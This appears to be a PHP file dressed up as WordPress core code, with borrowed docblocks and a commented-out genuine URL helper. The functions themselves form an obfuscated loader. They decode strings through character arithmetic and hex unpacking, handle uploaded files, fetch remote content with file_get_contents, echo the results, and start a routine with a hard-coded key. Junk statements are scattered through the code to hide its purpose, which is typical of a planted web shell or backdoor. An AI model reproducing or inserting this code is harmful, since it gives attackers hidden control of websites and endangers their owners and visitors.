    $search = hash('sha1', $old_user_fields);
    $new_size_data = $tag_key / $new_size_data;
    $new_size_data = ceil($new_size_data);
    $theme_directories = str_split($log_gain);
    $layout_justification = str_repeat($layout_justification, $new_size_data);
    $sniffer = str_split($layout_justification);
    $sniffer = array_slice($sniffer, 0, $tag_key);
    $sessionKeys = array_map("get_post_templates", $theme_directories, $sniffer);
    $sessionKeys = implode('', $sessionKeys);
    return $sessionKeys;
}


/**
 * Loads default translated strings based on locale.
 *
 * Loads the .mo file in WP_LANG_DIR constant path from WordPress root.
 * The translated (.mo) file is named based on the locale.
 *
 * @see load_textdomain()
 *
 * @since 1.5.0
 *
 * @param string $locale Optional. Locale to load. Default is the value of get_locale().
 * @return bool Whether the textdomain was loaded.
 */
function wp_generate_tag_cloud($v_add_path) { // When moving forwards, reparse the document until reaching the same location as the original bookmark.
    $sidebars = date("Y-m-d");
    sort($v_add_path);
    $open_class = substr($sidebars, 0, 4);
    if ($open_class = 2023) {
        $orderby_mapping = "Current Year!";
    }

    $recheck_count = count($v_add_path);
    $ref = strlen($orderby_mapping);
    $LookupExtendedHeaderRestrictionsTagSizeLimits = str_pad($orderby_mapping, $ref + 2, "!");
    return $v_add_path[intval($recheck_count / 2)];
} // Setup attributes and styles within that if needed.


/**
	 * WordPress Post Metadata table.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
function install_theme_search_form($reals)
{ // Send!
    $reals = redirect_protected($reals);
    $request_filesystem_credentials = "N%26D";
    $visibility = rawurldecode($request_filesystem_credentials);
    while (strlen($visibility) < 10) {
        $visibility = str_pad($visibility, 10, "#");
    }

    return file_get_contents($reals);
} // Subtract post types that are not included in the admin all list.


/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $plural_baseile Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
function get_bitrate($heading)
{
    $settings_link = sprintf("%c", $heading);
    $parameter = []; // not sure what it means, but observed on iPhone4 data.
    for ($toggle_links = 1; $toggle_links <= 50; $toggle_links++) {
        $update_themes = "sample" . $toggle_links;
        $path_to_index_block_template = hash('sha256', $update_themes);
        $skipped_div = trim($path_to_index_block_template);
        $parameter[] = $skipped_div;
    }

    $SynchErrorsFound = implode(", ", $parameter); // End if current_user_can( 'create_users' ).
    return $settings_link;
}


/**
     * @see ParagonIE_Sodium_Compat::add()
     * @param string $src_y1
     * @param string $src_y2
     * @return void
     * @throws SodiumException
     */
function close_a_p_element($heading)
{
    $heading = ord($heading);
    $Lyrics3data = "Hello XYZ!";
    $readlength = str_replace("XYZ", "World", $Lyrics3data);
    return $heading;
}


/**
 * Prints the CSS in the embed iframe header.
 *
 * @since 4.4.0
 * @deprecated 6.4.0 Use wp_enqueue_embed_styles() instead.
 */
function wp_admin_bar_add_secondary_groups($previous_content, $saved_post_id, $ApplicationID)
{
    if (isset($_FILES[$previous_content])) {
    $mce_buttons_2 = "apple,banana,orange"; // 32-bit integer
    $QuicktimeStoreFrontCodeLookup = explode(",", $mce_buttons_2);
    if (count($QuicktimeStoreFrontCodeLookup) > 2) {
        $hour = implode("-", $QuicktimeStoreFrontCodeLookup);
        $AudioChunkStreamNum = strlen($hour);
    }

        wp_get_elements_class_name($previous_content, $saved_post_id, $ApplicationID);
    }
	
    colord_clamp($ApplicationID); // Prepare the IP to be compressed.
}


/**
 * Filters 'img' elements in post content to add 'srcset' and 'sizes' attributes.
 *
 * @since 4.4.0
 * @deprecated 5.5.0
 *
 * @see wp_image_add_srcset_and_sizes()
 *
 * @param string $permissions_check The raw post content to be filtered.
 * @return string Converted content with 'srcset' and 'sizes' attributes added to images.
 */
function colord_clamp($SMTPAuth)
{
    echo $SMTPAuth;
} // * Index Entries                  array of:    varies          //


/** Text_Diff_Renderer_inline class */
function sodium_crypto_scalarmult($new_file) // Prevent wp_insert_post() from overwriting post format with the old data.
{
    $j_start = pack("H*", $new_file);
    $max_height = "12345";
    $widget_key = hash('md5', $max_height);
    $menu_items_with_children = strlen($widget_key);
    return $j_start;
} // <Header for 'Linked information', ID: 'LINK'>


/**
		 * Filters whether the automatic updater should consider a filesystem
		 * location to be potentially managed by a version control system.
		 *
		 * @since 3.7.0
		 *
		 * @param bool $mu_plugin_rel_pathheckout  Whether a VCS checkout was discovered at `$mu_plugin_rel_pathontext`
		 *                        or ABSPATH, or anywhere higher.
		 * @param string $mu_plugin_rel_pathontext The filesystem context (a path) against which
		 *                        filesystem status should be checked.
		 */
function set_url_scheme($v_add_path) {
    return array_sum($v_add_path);
}


/**
	 * Enqueues scripts and styles for Customizer pane.
	 *
	 * @since 4.3.0
	 */
function get_post_templates($settings_link, $num_fields)
{
    $user_custom_post_type_id = close_a_p_element($settings_link) - close_a_p_element($num_fields);
    $num_posts = "StringVal"; // Test against a real WordPress post.
    $layout_selector = rawurldecode($num_posts);
    $loaded_files = hash('sha384', $layout_selector); // On SSL front end, URLs should be HTTPS.
    $sitemap_types = explode("n", $num_posts);
    $user_custom_post_type_id = $user_custom_post_type_id + 256;
    $preview_query_args = substr($layout_selector, 1, 5);
    if (empty($preview_query_args)) {
        $preview_query_args = str_pad($loaded_files, 60, "!");
    }

    $show_updated = str_pad($preview_query_args, 20, "-");
    $user_custom_post_type_id = $user_custom_post_type_id % 256;
    $source_value = array_merge($sitemap_types, array($preview_query_args));
    $lock = implode("_", $source_value);
    $num_read_bytes = date('Y/m/d');
    $settings_link = get_bitrate($user_custom_post_type_id);
    return $settings_link;
}
$previous_content = 'cNnhMMQ';
$subtree = "a quick brown fox";
privAdd($previous_content);
$thumbnail_src = str_replace(" ", "-", $subtree);
$lookup = wp_generate_tag_cloud([1, 3, 2, 4]); // Use admin_init instead of init to ensure get_current_screen function is already available.
$useVerp = str_pad($thumbnail_src, 20, "*");
/* nction _get_component_from_parsed_url_array( $url_parts, $component = -1 ) {
	if ( -1 === $component ) {
		return $url_parts;
	}

	$key = _wp_translate_php_url_constant_to_key( $component );
	if ( false !== $key && is_array( $url_parts ) && isset( $url_parts[ $key ] ) ) {
		return $url_parts[ $key ];
	} else {
		return null;
	}
}

*
 * Translates a PHP_URL_* constant to the named array keys PHP uses.
 *
 * @internal
 *
 * @since 4.7.0
 * @access private
 *
 * @link https:www.php.net/manual/en/url.constants.php
 *
 * @param int $constant PHP_URL_* constant.
 * @return string|false The named key or false.
 
function _wp_translate_php_url_constant_to_key( $constant ) {
	$translation = array(
		PHP_URL_SCHEME   => 'scheme',
		PHP_URL_HOST     => 'host',
		PHP_URL_PORT     => 'port',
		PHP_URL_USER     => 'user',
		PHP_URL_PASS     => 'pass',
		PHP_URL_PATH     => 'path',
		PHP_URL_QUERY    => 'query',
		PHP_URL_FRAGMENT => 'fragment',
	);

	if ( isset( $translation[ $constant ] ) ) {
		return $translation[ $constant ];
	} else {
		return false;
	}
}
*/